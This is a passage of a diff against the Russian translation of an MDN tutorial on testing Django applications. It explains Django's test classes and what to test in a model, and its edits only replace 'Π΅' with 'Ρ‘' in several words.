+<p>ВСстированиС сайта это слоТная Π·Π°Π΄Π°Ρ‡Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° состоит ΠΈΡ… Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… логичСских слоёв – ΠΎΡ‚Β  HTTP-запроса ΠΈ запроса ΠΊ модСлям, Π΄ΠΎ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π° ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° шаблонов страниц.</p>
<p>Django прСдоставляСт Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для создания тСстов, построСнного Π½Π° основС ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, зависят ΠΎΡ‚ стандартной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ PythonΒ  <code><a href="https://docs.python.org/3/library/unittest.html#module-unittest" title="(in Python v3.5)">unittest</a></code>. НСсмотря Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅, Π΄Π°Π½Π½Ρ‹ΠΉ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΈ для ΡŽΠ½ΠΈΡ‚-, ΠΈ для ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ тСстирования. Π€Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Django добавляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ API ΠΈ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π²Π΅Π± Ρ‚Π°ΠΊ ΠΈ, спСцифичСскоС для Django, ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ позволяСт Π²Π°ΠΌ ΠΈΠΌΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ URL-запросы, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ тСстовых Π΄Π°Π½Π½Ρ‹Ρ…, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π²Π°ΡˆΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Django прСдоставляСт API (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>) ΠΈ инструмСнты <a href="https://docs.djangoproject.com/en/1.10/topics/testing/advanced/#other-testing-frameworks">для примСнСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ² тСстирования</a>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ популярный Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> для ΠΈΠΌΠΈΡ‚Π°Ρ†ΠΈΠΈ повСдСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
-<p>Для написания тСста Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ любого ΠΈΠ· классов тСстирования DjangoΒ (ΠΈΠ»ΠΈ <em>ΡŽΠ½ΠΈΡ‚Ρ‚Π΅ΡΡ‚Π°</em>)Β  (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#simpletestcase">SimpleTestCase</a>,Β <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>,Β <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>,Β <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>), Π° Π·Π°Ρ‚Π΅ΠΌ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠΎΠ΄Π° (тСсты это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-"утвСрТдСния", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, Ρ‡Ρ‚ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ выраТСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ значСния <code>True</code> ΠΈΠ»ΠΈ <code>False</code>, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ Π΄Π²Π° значСния Ρ€Π°Π²Π½Ρ‹ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅). Когда Π²Ρ‹ запускаСтС тСст, Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ выполняСт ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ тСстовыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² вашСм классС-наслСдникС. ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ тСстирования Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ нСзависимо Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°, начиная с ΠΌΠ΅Ρ‚ΠΎΠ΄Π° настроСк ΠΈ/ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡΡΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Ρ€Π°Π·Ρ€ΡƒΡˆΠ΅Π½ΠΈΡ (tear-down), ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π² классС, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅.</p>
+<p>Для написания тСста Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ любого ΠΈΠ· классов тСстирования DjangoΒ (ΠΈΠ»ΠΈ <em>ΡŽΠ½ΠΈΡ‚Ρ‚Π΅ΡΡ‚Π°</em>)Β  (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#simpletestcase">SimpleTestCase</a>,Β <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>,Β <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>,Β <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>), Π° Π·Π°Ρ‚Π΅ΠΌ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠΎΠ΄Π° (тСсты это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-"утвСрТдСния", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, Ρ‡Ρ‚ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ выраТСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ значСния <code>True</code> ΠΈΠ»ΠΈ <code>False</code>, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ Π΄Π²Π° значСния Ρ€Π°Π²Π½Ρ‹ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅). Когда Π²Ρ‹ запускаСтС тСст, Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ выполняСт ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ тСстовыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² вашСм классС-наслСдникС. ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ тСстирования Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ нСзависимо Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°, начиная с ΠΌΠ΅Ρ‚ΠΎΠ΄Π° настроСк ΠΈ/ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡΡΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Ρ€Π°Π·Ρ€ΡƒΡˆΠ΅Π½ΠΈΡ (tear-down), ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Π² классС, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅.</p>
<pre class="brush: python">class YourTestClass(TestCase):
@@ -85,7 +85,7 @@ translation_of: Learn/Server-side/Django/Testing
Β  Β  Β  Β  self.assertTrue(False)
</pre>
-<p>Π‘Π°ΠΌΡ‹ΠΉ подходящий Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ класс для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° тСстов это <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a>.Β  Π­Ρ‚ΠΎΡ‚ класс создаСт Ρ‡ΠΈΡΡ‚ΡƒΡŽ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Π΄ запуском своих ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ запускаСт ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ тСстирования Π² Π΅Π³ΠΎ собствСнной Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ. Π£ Π΄Π°Π½Π½ΠΎΠ³ΠΎ класса Ρ‚Π°ΠΊΠΆΠ΅ имССтся тСстовый <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client" title="django.test.Client">ΠšΠ»ΠΈΠ΅Π½Ρ‚</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΈΠΌΠΈΡ‚Π°Ρ†ΠΈΠΈ взаимодСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с ΠΊΠΎΠ΄ΠΎΠΌ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ отобраТСния. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΌΡ‹ сконцСнтрируСмся Π½Π° ΡŽΠ½ΠΈΡ‚-тСстах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ созданы Π½Π° основС класса <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>.</p>
+<p>Π‘Π°ΠΌΡ‹ΠΉ подходящий Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ класс для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° тСстов это <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a>.Β  Π­Ρ‚ΠΎΡ‚ класс создаёт Ρ‡ΠΈΡΡ‚ΡƒΡŽ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Π΄ запуском своих ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ запускаСт ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ тСстирования Π² Π΅Π³ΠΎ собствСнной Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ. Π£ Π΄Π°Π½Π½ΠΎΠ³ΠΎ класса Ρ‚Π°ΠΊΠΆΠ΅ имССтся тСстовый <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client" title="django.test.Client">ΠšΠ»ΠΈΠ΅Π½Ρ‚</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΈΠΌΠΈΡ‚Π°Ρ†ΠΈΠΈ взаимодСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с ΠΊΠΎΠ΄ΠΎΠΌ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ отобраТСния. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΌΡ‹ сконцСнтрируСмся Π½Π° ΡŽΠ½ΠΈΡ‚-тСстах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ созданы Π½Π° основС класса <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Класс <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a> ΠΎΡ‡Π΅Π½ΡŒ ΡƒΠ΄ΠΎΠ±Π΅Π½, Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ Π·Π°ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Π΅ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях (Π½Π΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ тСста Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈΠ»ΠΈ ΠΈΠΌΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ взаимодСйствиС с ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ). Когда Π²Ρ‹ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚Π΅ΡΡŒ с Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ Π΄Π°Π½Π½ΠΎΠ³ΠΎ класса, Ρ‚ΠΎ смоТСтС Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π²Π°ΡˆΠΈΡ… тСстов Π½Π° Π±ΠΎΠ»Π΅Π΅ простыС классы тСстирования.</p>
@@ -95,7 +95,7 @@ translation_of: Learn/Server-side/Django/Testing
<p>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС аспСкты, ΠΊΠ°ΡΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ вашСго ΠΊΠΎΠ΄Π°, Π½ΠΎ Π½Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, прСдоставляСмыС Python, ΠΈΠ»ΠΈ Django.</p>
-<p>НапримСр, рассмотрим модСль <code>Author</code>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅. Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Ρ‚ΠΎΡ‚ Ρ„Π°ΠΊΡ‚, Ρ‡Ρ‚ΠΎ <code>first_name</code> ΠΈ <code>last_name</code> Π±Ρ‹Π»ΠΈ сохранСны Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΊ <code>CharField</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π° это ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ нСпосрСдствСнно Django (хотя ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅Β  Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹ косвСнно Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ). Π’ΠΎΠΆΠ΅ касаСтся ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ <code>date_of_birth</code> являСтся Π΄Π°Ρ‚ΠΎΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Ρ‚ΠΎΠΆΠ΅ Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Django.</p>
+<p>НапримСр, рассмотрим модСль <code>Author</code>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅. Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Ρ‚ΠΎΡ‚ Ρ„Π°ΠΊΡ‚, Ρ‡Ρ‚ΠΎ <code>first_name</code> ΠΈ <code>last_name</code> Π±Ρ‹Π»ΠΈ сохранСны Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΊ <code>CharField</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π° это ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ нСпосрСдствСнно Django (хотя ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅Β  Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹ косвСнно Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ). Π’ΠΎΠΆΠ΅ касаСтся ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ <code>date_of_birth</code> являСтся Π΄Π°Ρ‚ΠΎΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Ρ‚ΠΎΠΆΠ΅ Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Django.</p>
<p>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ тСкст для ΠΌΠ΅Ρ‚ΠΎΠΊ (<em>First name, Last_name, Date of birth, Died</em>), ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ поля, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ для тСкста (<em>100 символов</em>), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ вашСй Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ»ΠΎΠΌΠ°Ρ‚ΡŒΡΡ/ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
@@ -117,11 +117,11 @@ translation_of: Learn/Server-side/Django/Testing
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠŸΡ€ΠΎΠ½ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π΄Π°Ρ‚Ρƒ роТдСния ΠΈ смСрти ΠΊΠ°ΠΊΠΈΠΌΠΈ-Ρ‚ΠΎ Π³Ρ€Π°Π½ΠΈΡ‡Π½Ρ‹ΠΌΠΈ значСниями ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚Π° смСрти шла послС роТдСния. Π’ Django Π΄Π°Π½Π½ΠΎΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ ΠΊ вашим классам Ρ„ΠΎΡ€ΠΌ (хотя Π²Ρ‹ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€Ρ‹ для этих ΠΏΠΎΠ»Π΅ΠΉ, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΡΠ²Π»ΡΡ‚ΡŒ сСбя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ Ρ„ΠΎΡ€ΠΌ, Π° Π½Π΅ ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ).</p>
</div>
-<p>Ну Ρ‡Ρ‚ΠΎ ΠΆΠ΅, усвоив Π΄Π°Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ процСссу опрСдСлСния ΠΈ запуска тСстов.</p>
+<p>Ну Ρ‡Ρ‚ΠΎ ΠΆΠ΅, усвоив Π΄Π°Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ процСссу опрСдСлСния ΠΈ запуска тСстов.</p>
<h2 id="ΠžΠ±Π·ΠΎΡ€_структуры_тСстов">ΠžΠ±Π·ΠΎΡ€ структуры тСстов</h2>
-<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Ρ‚ΠΎΠΌΡƒ "Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ", Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ взглянСм Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ <em>Π³Π΄Π΅</em> ΠΈ <em>ΠΊΠ°ΠΊ</em> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ тСсты.</p>
+<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ Ρ‚ΠΎΠΌΡƒ "Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ", Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ взглянСм Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ <em>Π³Π΄Π΅</em> ΠΈ <em>ΠΊΠ°ΠΊ</em> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ тСсты.</p>
